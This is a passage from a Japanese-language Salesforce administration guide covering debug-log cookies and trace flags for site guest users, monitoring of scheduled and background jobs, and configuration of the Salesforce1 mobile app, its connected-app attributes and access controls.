キュメントを参照してください。Cookie を追加するには、Web 開発用のブラウザのプラグインまたは拡張機
能が必要になる場合があります。
• Java コードで実行される API 要求の Cookie を設定するには、次のように URLConnection クラスを使用

して Cookie の値を設定します。
– .force.com ドメインを使用する場合、次のコードを使用します。

URL url = new URL("http://yourSite.force.com/");
URLConnection con = url.openConnection();
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con.setDoOutput(true);
con.setRequestProperty("Cookie", "debug_logs=debug_logs,domain=.force.com");
con.setRequestProperty("Content-Type", "text/plain; charset=utf-8");
con.connect();

– カスタムドメイン (yourCustomDomain.com など) を使用する場合、次のコードを使用します。
URL url = new URL("http://yourCustomDomain.com/");
URLConnection con = url.openConnection();
con.setDoOutput(true);
con.setRequestProperty("Cookie", "debug_logs=debug_logs,domain=.force.com");
con.setRequestProperty("Content-Type", "text/plain; charset=utf-8");
con.connect();

• Google Chrome™ でブラウザ Cookie を設定する手順は、次のとおりです。
a. サイトに移動します。
b. Ctrl+Shift+J (macOS の場合は Cmd+Opt+J) キーを押して Chrome デベロッパーツールコンソールを開きま

す。
c. Cookie を設定するコマンドを実行します。

– .force.com ドメインを使用する場合、次のコマンドを使用します。
document.cookie="debug_logs=debug_logs;domain=.force.com";

– カスタムドメイン (yourCustomDomain.comなど) を使用する場合、次のコマンドを使用します。
document.cookie="debug_logs=debug_logs;domain=yourCustomDomain.com";

• 他のブラウザでブラウザ Cookie を設定するには、プラグインまたは拡張機能をインストールします。

2. サイトのゲストユーザの名前を見つけます。
a. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選択します。
b. [サイトの表示ラベル] 列からサイトを選択します。
c. [公開アクセス設定] > [ユーザの参照] を選択します。

3. ユーザベースの追跡フラグをゲストユーザに設定します。
a. [設定] から、[クイック検索]ボックスに「デバッグログ」と入力し、[デバッグログ]をクリックします。
b. [新規] をクリックします。
c. 追跡対象エンティティ種別を [ユーザ] に設定します。
d. [追跡対象エンティティ名のルックアップ] 項目を開き、ゲストユーザを見つけて選択します。
e. デバッグレベルを追跡フラグに割り当てます。
f. [保存] をクリックします。
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ヒント: デバッグログは、本番でのトラブルシューティング用です。すべてのサイトのトラフィックを記
録するには、イベント監視を使用します。詳細は、『SOAP API 開発者ガイド: EventLogFile』の「サイト」セ
クションを参照してください。

関連トピック:

デバッグログの監視

デバッグログの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

「すべてのデータの参照」開発者コンソールを使用する

「Apex 開発」Apex を匿名実行する

「API の有効化」[クエリ] タブで、コード検索を使用して、
SOQL または SOSL を実行する

「Apex 開発」Apex クラスとトリガへの変更を保存す
る

「アプリケーションのカスタマイズ」Visualforce ページおよびコンポーネント
への変更を保存する

「アプリケーションのカスタマイズ」Lightning リソースへの変更を保存する

デバッグログには、各トランザクションに関する情報 (トランザクションが成功したかどうかや所要時間など)

が格納されています。追跡フラグで設定された条件に応じて、ログにはトランザクションに関するさまざまな
詳細レベルが含まれます。
デバッグログを表示するには、[設定] から、[クイック検索]ボックスに「デバッグログ」と入力し、[デバッグ
ログ] を選択します。次に、確認するデバッグログの横にある [表示] をクリックします。[ダウンロード] をク
リックしてログを XML ファイルとしてダウンロードします。

関連トピック:

デバッグログの監視
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スケジュール済みジョブの監視
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

レポート作成スナップ
ショットおよびダッシュ
ボードは Database.com
Edition では使用できませ
ん。

ユーザ権限

スケジュール済みジョブ
を監視する
• 「設定・定義を参照す

る」

[すべてのスケジュール済みジョブ] ページには、すべてのレポート作成スナップ
ショット、スケジュール済みApexジョブ、および更新スケジュール済みダッシュ
ボードが表示されます。
このページを表示するには、[設定] から、[クイック検索]ボックスに「スケジュー
ル済みジョブ」と入力し、[スケジュール済みジョブ]を選択します。権限に応じ
て、次のアクションの一部またはすべてを実行できます。
• [削除] をクリックして、スケジュール済みジョブのすべてのインスタンスを

完全に削除できます。
• 次のようなスケジュール済みジョブの詳細を表示できます。

– スケジュール済みジョブの名前
– スケジュール済みジョブを登録したユーザの名前
– スケジュール済みジョブが最初に登録された日時
– スケジュール済みジョブが開始された日時
– スケジュール済みジョブが次に実行される日時
– スケジュール済みジョブの種別
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バックグラウンドジョブの監視
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

バックグラウンドジョブ
を監視する
• 「設定・定義を参照す

る」

並行する共有の再適用が実行されている場合などに、組織のバックグラウンド
ジョブを監視できます。
並行する共有の再適用は、大規模な組織で各オブジェクトの共有の再適用の処
理速度を高めるのに役立ちます。所有者ベースの共有ルールの挿入または更新
による影響を受けるレコードの数が 25,000 未満の場合、再適用は同時に実行さ
れ、完了したときにメール通知は送信されません。影響を受けるレコードの数
が 25,000 未満の所有者ベースの共有ルールの挿入または更新は、[バックグラウ
ンドジョブ] ページでは使用できません。
組織のバックグラウンドジョブを表示するには、[設定] から [クイック検索]ボッ
クスに「バックグラウンドジョブ」と入力し、[バックグラウンドジョブ] を選択
します。
[バックグラウンドジョブ] ページには、再適用の進捗状況の見積 (%) を含め、
バックグラウンドジョブの詳細が表示されます。[ジョブの種別]列には、実行中
のバックグラウンドジョブ ([組織の共有設定の更新]など) が表示されます。[ジョ
ブのサブ種別] 列には、影響を受けるオブジェクト ([取引先] や [商談] など) が
表示されます。

メモ: このページでのみバックグラウンドジョブを開始できます。バック
グラウンドジョブを中止するには、Salesforce にご連絡ください。

関連トピック:

共有ルールの再適用
共有ルールの非同期並列再適用

ユーザのモバイルデバイスでの作業の有効化

Salesforceでは、場所を問わず、複数のモバイルアプリケーションの接続状態を保ち、生産性を維持することが
できます。

Salesforce1 をユーザの手に
Salesforce1 モバイルアプリケーションを使用すれば、外出中も生産性が低下しません。
SalesforceA を使用したあらゆる場所からのユーザサポート
SalesforceAは、Salesforceシステム管理者向けのモバイルアプリケーションです。離席中や外出中でも、携帯
電話やタブレットを使用して、パスワードのリセット、ユーザの凍結、現在のシステム状況の表示など、
基本的な管理作業を実行できます。
Salesforce Classic Mobile での外出先での生産性サポート
Salesforce Classic Mobile を使用すると、チームが、時間、場所を問わず必要なときに、Android™ や iPhone® など
のデバイスから直接最新の Salesforce データを入手できます。
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Salesforce1 をユーザの手に
Salesforce1 モバイルアプリケーションを使用すれば、外出中も生産性が低下しません。

Salesforce1 モバイルアプリケーションの設定オプション
Salesforce1モバイルアプリケーションをカスタマイズして、ユーザのビジネスニーズに合わせた効率的な携
行ツールを作成するさまざまなオプションがあります。
Salesforce1 ウィザードを使用した Salesforce1 モバイルアプリケーションの設定
Salesforce1 ウィザードを使用すると、Salesforce1 向けの重要な設定タスクを簡単に完了できます。このウィ
ザードで Salesforce1 を設定した後、営業担当は各自のモバイルデバイスから Salesforce1 を使用して業務を行
うことができます。
Salesforce1 モバイルアプリケーションへのアクセスの制御
Salesforce1 ダウンロード可能アプリケーションおよび Salesforce1 モバイルブラウザアプリケーションへの組
織のアクセスを制御できます。
Salesforce1 およびパスワードマネージャアプリケーション
優れたセキュリティプラクティスは、長く複雑なパスワードを要求します。ただし、この長く複雑なパス
ワードを小さなモバイルキーボードで入力することは、ミスも多く、ストレスのたまる作業です。これで
は、ユーザが安全と引き換えに罰を受けているようなものです。組織でパスワード管理を使用すれば、
Salesforce1 for iOS ユーザはこの罰から解放されます。iOS 向けの Salesforce1 ダウンロード可能アプリケーショ
ンのバージョン 11.0 以降を使用すると、ユーザはパスワードマネージャアプリケーションを使用してわず
か数回のタップでログインプロセスを簡単に実行できます。
Salesforce1 モバイルアプリケーションのナビゲーションメニュー
Salesforce1ナビゲーションメニューに表示可能な項目について説明します。組織のナビゲーションメニュー
はほとんどの側面をカスタマイズできます。
Salesforce1 モバイルアプリケーション通知
通知により、Salesforce で特定のイベントが発生した場合にユーザに知らせることができます。たとえば、
ユーザが承認申請を受信した場合や Chatter でメンションされた場合にユーザに通知します。
Salesforce1 モバイルアプリケーションをオフラインで使用
モバイル接続ができないときでも、モバイルユーザの生産性を保つことができます。Salesforce1 でキャッ
シュとオフライン編集を有効にすると、地下鉄での通勤、航空規制、携帯電波の不調、受信状況の悪いビ
ルの谷間などに遮られることなく、作業を継続できます。オフラインアクセスはSalesforce1 ダウンロード可
能アプリケーションで使用できます。ベータバージョンのオフライン編集では、バージョン 10.0 のSalesforce1

for Android ダウンロード可能アプリケーションまたは Salesforce1 for iOS ダウンロード可能アプリケーションが
必要です。
Salesforce1 モバイルアプリケーションの Visualforce ページの有効化
Visualforceを使用してSalesforce1アプリケーションを拡張し、モバイルユーザが外出中に必要な機能を提供で
きます。VisualforceページをSalesforce1に追加する前に、ページをモバイルで使用できるか、あるいはモバイ
ルアプリケーションでは使用できないかを確認します。
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Salesforce1 モバイルアプリケーションでの組織のブランド設定
Salesforce1モバイルアプリケーションを会社のブランドの一定の側面に合わせてカスタマイズし、モバイル
ユーザにアプリケーションが容易に認識されるようにすることができます。カスタムブランドは、すべて
の Salesforce1 アプリケーションに表示されます。
Salesforce1 ダウンロード可能アプリケーションからの現在のネットワーク状態のテスト
ユーザから、なぜSalesforce1モバイルアプリケーションが場所によって早かったり遅かったりするのかと質
問されたことはありませんか? 当然、ネットワークの状態は Salesforce1 のパフォーマンスに影響します。
Salesforce1 for iOS ダウンロード可能アプリケーションのバージョン 10.0.2 以降でユーザに問題が発生した場合
は、ユーザにネットワークのテストを依頼することで問題の原因からネットワークの状態を除外できます。
Salesforce1 モバイルアプリケーションで使用できない機能とその新機能
Salesforce1 モバイルアプリケーションでは、組織で Lightning Experience と Salesforce Classic のいずれを使用して
いる場合でも、Salesforce フルサイトの一部の機能が含まれません。ここでは、フルサイトで使用する場合
と機能上の差異があるか、Salesforce1での動作が異なる、Salesforce1では使用できないSalesforce機能について
説明します。

関連トピック:

オブジェクト管理設定の検索
Compact Layouts

ページレイアウト
検索レイアウトのカスタマイズ

Salesforce1 モバイルアプリケーションの設定オプション

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 モバイルアプリケーションをカスタマイズして、ユーザのビジネス
ニーズに合わせた効率的な携行ツールを作成するさまざまなオプションがあり
ます。
すべての Salesforce1 カスタマイズオプションは、[設定] メニューから使用できま
す。[Salesforce1 クイックスタート] 設定ページから、Salesforce1 の多くの設定ペー
ジにすばやくアクセスできます。Salesforce Classic の [設定] から、[設定] メニュー
の上部付近にある [Salesforce1 クイックスタート] をクリックします。Lightning

Experienceでは、[設定] から、[クイック検索]ボックスに「Salesforce1 クイッ
クスタート」と入力し、[Salesforce1 クイックスタート] を選択します。

メモ:  [Salesforce1 クイックスタート] 設定ページには Google Chrome を使用す
ることをお勧めします。Microsoft Internet Explorer 9 以降と Mozilla Firefox もサポー
トされています。

組織で検討するSalesforce1カスタマイズオプションとして次のようなものがあり
ます。
• 一部の基本設定はSalesforce1ウィザードを使用して行う。[Salesforce1クイック

スタート] ページから [クイックスタートウィザードを起動] をクリックしま
す。

• Salesforce1 にアクセスできるユーザを定義する。
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– ダウンロード可能アプリケーションの場合、[Salesforce1 クイックスタート] ページから [アプリケーショ
ンセキュリティコントロール] をクリックします。

– モバイルブラウザアプリケーションの場合、[Salesforce1 クイックスタート] ページから [モバイルブラウ
ザオプション] をクリックします。

• Salesforce1でのデータの表示方法をカスタマイズする。特に指定のない限り、カスタマイズするデータが含
まれるオブジェクトの管理設定からこれらのカスタマイズにアクセスできます。
– モバイルデバイスで適切に表示されるように、ページレイアウトを最適化します。既存のページレイア

ウトを変更することや、モバイルで使いやすいページレイアウトを新たに作成することができます。適
切なオブジェクト管理設定から、[ページレイアウト] に移動します。

– 拡張ルックアップ、コンポーネント (Twitter コンポーネントを含む)、または Visualforce ページをページレ
イアウトの [モバイルカード] セクションに追加して、Salesforce1でモバイルカードとして表示します。適
切なオブジェクト管理設定から、[ページレイアウト] に移動します。

– Visualforce ページが Salesforce1 で使用できるようになっており、アプリケーションにそれらのページが表
示されていることを確認します。[設定] から、[クイック検索] ボックスに「Visualforce ページ」と
入力し、[Visualforce ページ]を選択します。ページ名の横にある[編集]をクリックし、[Salesforce モ
バイルアプリケーションでの使用が可能] を選択します。

– カスタムコンパクトレイアウトを作成して、オブジェクトのレコードの [特長] 領域と関連リストのプレ
ビューカードに表示される項目を定義します。適切なオブジェクト管理設定から、[コンパクトレイア
ウト] に移動します。

– 既存の検索レイアウトによって、Salesforce1 検索結果に必要な項目が取り込まれていることを確認しま
す。適切なオブジェクト管理設定から、[検索レイアウト] に移動します。

• 特定の事業内容と使用事例に合わせて調整されたアクションを作成することで、項目で簡単かつ効率的に
作業できるようにする。
– 組織のパブリッシャーのアクションを有効にします。[設定] から、[クイック検索]ボックスに「Chatter

設定」と入力し、[Chatter 設定] を選択します。[パブリッシャーのアクションを有効化] チェックボック
スをオンにします (このオプションは、組織でChatterが有効になっており、作成するアクションをChatter

パブリッシャーに表示することを前提としています。組織で Chatter が有効になっていない場合、アク
ションは使用できますが、Salesforce1 にのみ表示され、Salesforce フルサイトには表示されません)。

メモ: パブリッシャーのアクションが有効になっていない場合、Salesforce フルサイトの Chatter パブ
リッシャーには、Chatter 標準アクション ([投稿]、[ファイル]、[リンク]、[アンケート]、および [感
謝]) のみが表示されます。Chatter が有効になっていてパブリッシャーのアクションが無効になって
いる場合、Salesforce1のアクションバーと、アクションリストを使用するサードパーティアプリケー
ションには、標準Chatterアクションと非標準アクションが表示されます。非標準アクションには、
[作成]、[更新]、[活動の記録]、カスタムアクション、およびモバイルスマートアクションが含まれ
ます。

– グローバルアクションを作成し、ユーザが自動関係を使用しなくても新しいオブジェクトレコードを他
のレコードに追加できるようにします。[設定] から、[クイック検索] ボックスに「グローバルアクショ
ン」と入力し、[グローバルアクション] を選択します。グローバルアクションによって使用される項目
をカスタマイズするには、[グローバルアクション] ページで [レイアウト] をクリックします。
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次に、新しいアクションをグローバルパブリッシャーレイアウトの Salesforce1 および Lightning Experience

アクションセクションに追加して、Salesforce1に表示されるようにします。[設定] から、[クイック検索]

ボックスに「パブリッシャーレイアウト」と入力し、[パブリッシャーレイアウト] を選択します。
– オブジェクト特有のアクションを作成して、ユーザが既存のレコードで新しいレコードを追加したり、

データを更新したりできるようにします。アクションを追加するオブジェクトの管理設定から、[ボタ
ン、リンク、およびアクション] に移動します。オブジェクト固有アクションによって使用される項目
をカスタマイズするには、[ボタン、リンク、およびアクション] ページで [レイアウト] をクリックしま
す。
次に、新しいアクションを適切なオブジェクトページレイアウトの Salesforce1 および Lightning Experience

アクションセクションに追加します。

• Salesforce1 ナビゲーションメニューで使用可能なオプションと、項目が表示される順序をカスタマイズす
る。[Salesforce1 クイックスタート] ページから [ナビゲーションメニュー] をクリックします。

• ヘルプを使用して、Salesforce1ユーザがアプリケーション内の転送通知を有効にし、重要な Salesforce活動を
常に認識できるようにする。[Salesforce1クイックスタート] ページから [通知オプション]をクリックします。

• 組織にリリースされた Lightning ページの [Lightning ページ] タブを追加することで、サードパーティアプリ
ケーションを Salesforce1ナビゲーションメニューに追加する。[設定] から、[クイック検索] ボックスに「タ
ブ」と入力し、[タブ] を選択してから、[Lightning Page] タブの関連リストで [新規] をクリックします。

• 会社のブランドのデザインに合わせてSalesforce1をカスタマイズする。[Salesforce1クイックスタート] ページ
から [Salesforce1 のブランド設定] をクリックします。

• Salesforce1 ダウンロード可能アプリケーションで、頻繁にアクセスする Salesforce データを安全な永続スト
レージに自動的にキャッシュして、デバイスがオフラインでもデータを表示できるようにする (このオプ
ションはデフォルトで有効になっています)。[Salesforce1 クイックスタート] ページから [オフラインキャッ
シュ] をクリックします。

『Salesforce1 モバイルアプリケーション管理ガイド』を参照することもできます。このガイドには、[設定] で
Salesforce1宣言型ツールを使用し、組織が Salesforce1のモバイル操作性を活用できる環境を整える手順が段階的
に記載されています。
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Salesforce1 ウィザードを使用した Salesforce1 モバイルアプリケーションの設定

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Salesforce1ウィザードを使
用する
• 「アプリケーションの

カスタマイズ」

Salesforce1ウィザードを使用すると、Salesforce1向けの重要な設定タスクを簡単に
完了できます。このウィザードでSalesforce1を設定した後、営業担当は各自のモ
バイルデバイスから Salesforce1 を使用して業務を行うことができます。

メモ: Salesforce1 ウィザードおよび [Salesforce1 の設定] ページには、Google

Chrome の使用をお勧めします。Microsoft Internet Explorer 9 以降と Mozilla Firefox

もサポートされています。
Lightning Experience を使用している場合は、次の操作を実行します。
1. [設定] で、クイックアクセスカルーセルの [Salesforce1 を設定] タイルの [ウィ

ザードを起動する] をクリックします。
Salesforce Classic を使用している場合は、次の操作を実行します。
1. [設定] で、[Salesforce1 クイックスタート] をクリックします。
2. [Salesforce1 の設定] ページで、[クイックスタートウィザードを起動] をクリッ

クします。

メモ: Salesforce1 ウィザードでは、基本の設定タスクは実行されますが、す
べての Salesforce1 設定タスクが含まれているわけではありません。たとえ
ば、ウィザードを使用してグローバルクイックアクションを再配置できま
すが、Salesforce1アクションバーおよびアクションメニューには、コンテキ
ストに応じて、オブジェクト固有のクイックアクションや標準 Chatter アク
ションなど、他の種別のアクションを含めることができます。

ウィザードを完了すると、[Salesforce1 クイックスタート] 設定ページに移動し、
そこからSalesforce1の設定ページとドキュメントに簡単にアクセスできます。単
一ページで行う設定については、クイックスタートページから対象のページに
直接リンクしています。[設定] の複数ページで指定可能な設定については、設定
に関連するドキュメントへのリンクが提供されます。

関連トピック:

Salesforce1 をユーザの手に
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Salesforce1 モバイルアプリケーションへのアクセスの制御

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 ダウンロード可能アプリケーションおよび Salesforce1 モバイルブラウ
ザアプリケーションへの組織のアクセスを制御できます。
組織の設定に基づいて、次の操作を実行できます。
• Salesforce1 モバイルブラウザアプリケーションへのアクセス権を有効化または

無効化する。[設定] から、[クイック検索] ボックスに「Salesforce1 の設
定」と入力し、[Salesforce1 の設定] を選択します。「Salesforce1 モバイルブラ
ウザアプリケーションの有効化」を参照してください。

• Salesforce1 ダウンロード可能アプリケーションにアクセス可能なユーザを制御
し、その他のセキュリティポリシーを設定する。[設定] から、[クイック検
索]ボックスに「接続アプリケーション」と入力し、接続アプリケーションを
管理するオプションを選択します。「Salesforce1 ダウンロード可能アプリケー
ションのユーザアクセスおよびセキュリティポリシー」を参照してくださ
い。
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Salesforce1 ダウンロード可能アプリケーションのユーザアクセスおよびセキュリティポリ
シー

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Salesforce1 ダウンロード可
能アプリケーションの設
定を編集する
• 「アプリケーションの

カスタマイズ」

Salesforce1 ダウンロード可
能アプリケーションの設
定を表示する
• 「設定・定義を参照す

る」

Salesforce1 ダウンロード可能アプリケーションは接続アプリケーションです。結
果として、アプリケーションおよびその他のセキュリティポリシーへのアクセ
ス権を持つユーザを制御できます。デフォルトでは、組織のすべてのユーザが
Salesforce1 ダウンロード可能アプリケーションにログインできます。
管理Salesforce1接続アプリケーションパッケージからインストールされる設定コ
ンポーネントを使用して各 Salesforce1 ダウンロード可能アプリケーションのセ
キュリティポリシーおよびアクセスポリシーを制御できます。次のコンポーネ
ントが Salesforce にインストールされている必要があります。
• Salesforce1 for Android

• Salesforce1 for iOS

ユーザの 1 人がモバイルデバイスに App Store または Google Play から Salesforce1 ダ
ウンロード可能アプリケーションをインストールして、モバイルアプリケーショ
ンにログインして組織に認証されると、これらのコンポーネントが自動的にイ
ンストールされます。
または、Salesforce1 ダウンロード可能アプリケーションをユーザにロールアウト
する前に、デフォルトのセキュリティ設定およびアクセス設定を確認して変更
できるように、Salesforce1および Chatterアプリケーションの接続アプリケーショ
ンパッケージを手動でインストールできます。
Salesforce1接続アプリケーションコンポーネントがインストールされると、[接続
アプリケーション] ページに追加されます ([設定] から、[クイック検索] ボック
スに「接続アプリケーション」と入力し、接続アプリケーションを管理するオプ
ションを選択します)。ここでは、プロファイル、権限、IP 範囲制限へのユーザ
アクセスの制御を含む、各アプリケーションの設定を表示および編集できます。
制限されているユーザがSalesforce1 ダウンロード可能アプリケーションにログイ
ンしようとすると、エラーメッセージが表示されます。
Salesforce1 ダウンロード可能アプリケーションの転送通知は、[接続アプリケー
ション] ページからは管理されません。これらの設定を管理するには、[設定] か
ら [クイック検索] ボックスに「通知」と入力し、[Salesforce1 通知] を選択しま
す。
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いずれかの Salesforce1 ダウンロード可能アプリケーションがインストールされている場合、オフラインアクセ
スはデフォルトで有効になっています。これらの設定を管理するには、[設定] から [クイック検索] ボックス
に「オフライン」と入力し、[Salesforce1 オフライン] を選択します。

関連トピック:

Salesforce1 接続アプリケーションの属性
接続アプリケーション
接続アプリケーションの編集、パッケージ化、または削除
OAuth 接続アプリケーションの利用状況の監視
Salesforce1 モバイルアプリケーション通知の有効化
Salesforce1 モバイルアプリケーションの要件
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Salesforce1 接続アプリケーションの属性

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Salesforce1 ダウンロード可
能アプリケーションの設
定を編集する
• 「アプリケーションの

カスタマイズ」

Salesforce1 ダウンロード可
能アプリケーションの設
定を表示する
• 「設定・定義を参照す

る」

接続アプリケーションでもある、Salesforce1 for Android および Salesforce1 for iOS ダウ
ンロード可能アプリケーションでは、次のカスタム属性を使用できます。
いくつかのSalesforce1カスタム属性にはデフォルト値があり、ユーザがSalesforce1

ダウンロード可能アプリケーションにログインしたときにそのデフォルト値が
自動的に適用されます。このデフォルト値が組織に適した値の場合、これで作
業は完了です。
デフォルト値を変更するかデフォルト設定を持たない属性を設定するには、
Salesforceフルサイトの [設定] に進みます。[クイック検索]ボックスに「接続アプ
リケーション」と入力し、[接続アプリケーション] を選択して、[Salesforce1 for

Android]または [Salesforce1 for iOS]をクリックします。接続アプリケーションペー
ジの [カスタム属性] セクションで、[新規]をクリックし、属性の名前と値を入力
します。

重要: 属性値は引用符で囲んでください。

説明プラット
フォーム

属性値属性キー

AndroidCALL_HISTORY •• DISABLED に設
定されている場
合、ナビゲー
ションメニュー
からすべての活
動ログを削除し
ます。

DISABLED

• ADMIN_DEFINED

• SIMPLE

• ADMIN_DEFINED

に設定されてい
る場合、ネイ
ティブ Android の
活動ログを有効
化します。

• SIMPLE に設定
されている場
合、Aura の活動
ログを有効化し
ます。

Android、
iOS

DISABLE_EXTERNAL_PASTE • TRUEに設定され
ている場合、

• TRUE

• FALSE

ユーザは
Salesforce1内でコ
ピーと貼り付け
ができますが、
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説明プラット
フォーム

属性値属性キー

Salesforce1内部でコピーし
たものを外部に貼り付け
ることはできません。

• FALSE  (属性値が定義さ
れていない場合のデフォ
ルト) に設定されている
場合、ユーザはSalesforce1

の内部および外部でコ
ピーと貼り付けができま
す。

ユーザがSalesforce1でメール
アクションをタップする

Android、iOSメールアプリケーションの URI ス
キーム。
プラットフォームによって異なる
可能性があります。たとえば、Blue

FORCE_EMAIL_CLIENT_TO

と、ユーザは属性値に指定
されたメールアプリケー
ションに移動します。
指定できるメールアプリ
ケーションは 1 つのみです。

Mail 用の Android URI スキームの例
と、Gmail 用の iOS URI スキームの例
を次に示します。

入力する属性値は、メール
アプリケーションとデバイ

Android:

https://play.google.com/store
/apps/details?id
=me.bluemail.mail&hl

スプラットフォームによっ
て決まります。

iOS: • Android の場合、Google

Play Store で示されているgooglegmail:///co?to=
対象のメールアプリケー
ションの URI を使用しま
す。

• iOS の場合、対象のメー
ルアプリケーションの
URI スキームをインター
ネット検索で見つけま
す。たとえば、「iOS

メール URI スキーム」
と検索します。

iOSSHOW_OPEN_IN • TRUE に設定されている
場合、ユーザは Salesforce1

• TRUE

• FALSE

のファイルをそのファイ
ルへのリンクを介して共
有したり、サードパー
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説明プラット
フォーム

属性値属性キー

ティアプリケーションで
Salesforce ファイルを開い
たりできます。

• FALSEに設定されている
場合、ユーザは Salesforce1

のファイルを共有した
り、サードパーティアプ
リケーションで Salesforce

ファイルを開いたりする
ことはできません。

iOSSHOW_PRINT • TRUE に設定されている
場合、ユーザは Salesforce1

から印刷できます。

• TRUE

• FALSE

• FALSEに設定されている
場合、Salesforce1 からの印
刷はできません。

ヒント: 接続アプリケーションの属性の変更は、ユーザが Salesforce1 を強制終了したか新しいセッション
にログインしたときに有効になります。新しい設定または変更した設定をすべてのユーザに確実に適用
するには、Salesforce1 へのアクセス権を取り消すことをお勧めします。これにより、すべてのユーザが再
度ログインする必要があります。
また、特に、以前使用できていた活動を制限する場合は、目的の変更に関してユーザに警告することを
お勧めします。Salesforce1 は、接続アプリケーションの設定が変わったことを示すメッセージまたはイン
ジケータを表示しません。

関連トピック:

接続アプリケーションの編集、パッケージ化、または削除
Salesforce1 ダウンロード可能アプリケーションのユーザアクセスおよびセキュリティポリシー
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Salesforce1 モバイルブラウザアプリケーションの有効化

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Salesforce1 モバイルブラウ
ザアプリケーションの設
定を表示する
• 「設定・定義を参照す

る」

Salesforce1 モバイルブラウ
ザアプリケーションの設
定を変更する
• 「アプリケーションの

カスタマイズ」

「すべてのデータの編
集」

サポート対象のモバイルブラウザから Salesforce にログインするときに Salesforce1

モバイルブラウザアプリケーションにアクセスできるかどうかを制御できます。
デフォルトで、組織のモバイルブラウザアプリケーションは有効になっていま
す。

重要: モバイルブラウザでの Salesforce Classicフルサイトの使用はサポートさ
れていません。組織でSalesforce1モバイルブラウザアプリケーションを無効
にし、個々のユーザが各自でモバイルブラウザアプリケーションをオフに
できますが、モバイルブラウザでのフルサイトの常用はお勧めしません。
Salesforce カスタマーサポートが調査できない問題が発生する可能性があり
ます。
モバイルブラウザから Lightning Experience フルサイトにアクセスすることは
できません。

1. [設定] から、[クイック検索]ボックスに「Salesforce1 の設定」と入力し、
[Salesforce1 の設定] を選択します。

2. [Salesforce1 モバイルブラウザアプリケーションを有効化]を選択すると、
組織のすべてのユーザがアプリケーションにアクセスできます。アプリケー
ションへのアクセスを無効にするには、このオプションを選択解除します。

3. [保存] をクリックします。
このオプションがオンになっていると、サポートされているモバイルブラウザ
から Salesforce にログインしたユーザは、Salesforce1 インターフェースに自動的に
転送されます。サポートされていないモバイルブラウザからログインすると、
このオプションがオンの場合でもSalesforce Classicフルサイトが読み込まれます。
ほとんどの場合、[Salesforce1 モバイルブラウザアプリケーションを有効化]

オプションをオンにしても、サポートされていないモバイルブラウザからログ
インすると、Salesforce Classic フルサイトが読み込まれます。ただし、iPhone ユー
ザと iPad ユーザは例外です。ユーザは、Google Chrome for iOS アプリケーションか
Gmail for iOS アプリケーションの Web ビューからモバイルブラウザアプリケーショ
ンにアクセスできますが、このような環境での Salesforce1 の使用はサポートされ
ません。

関連トピック:

Salesforce1 モバイルアプリケーションの要件
個人情報の更新
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Salesforce1 およびパスワードマネージャアプリケーション
優れたセキュリティプラクティスは、長く複雑なパスワードを要求します。ただし、この長く複雑なパスワー
ドを小さなモバイルキーボードで入力することは、ミスも多く、ストレスのたまる作業です。これでは、ユー
ザが安全と引き換えに罰を受けているようなものです。組織でパスワード管理を使用すれば、Salesforce1 for iOS

ユーザはこの罰から解放されます。iOS 向けの Salesforce1 ダウンロード可能アプリケーションのバージョン 11.0

以降を使用すると、ユーザはパスワードマネージャアプリケーションを使用してわずか数回のタップでログイ
ンプロセスを簡単に実行できます。
Salesforce1 for iOS は、iOS パスワードマネージャ拡張をサポートする 1Password™、LastPass™、または他のマスワー
ドマネージャアプリケーションと統合します。組織でパスワード管理を設定したら、Salesforce1 ユーザはログ
インページの をタップし、リストからパスワードマネージャアプリケーションを選択するだけです。
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Salesforce1 モバイルアプリケーションのナビゲーションメニュー

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 ナビゲーションメニューに表示可能な項目について説明します。組織
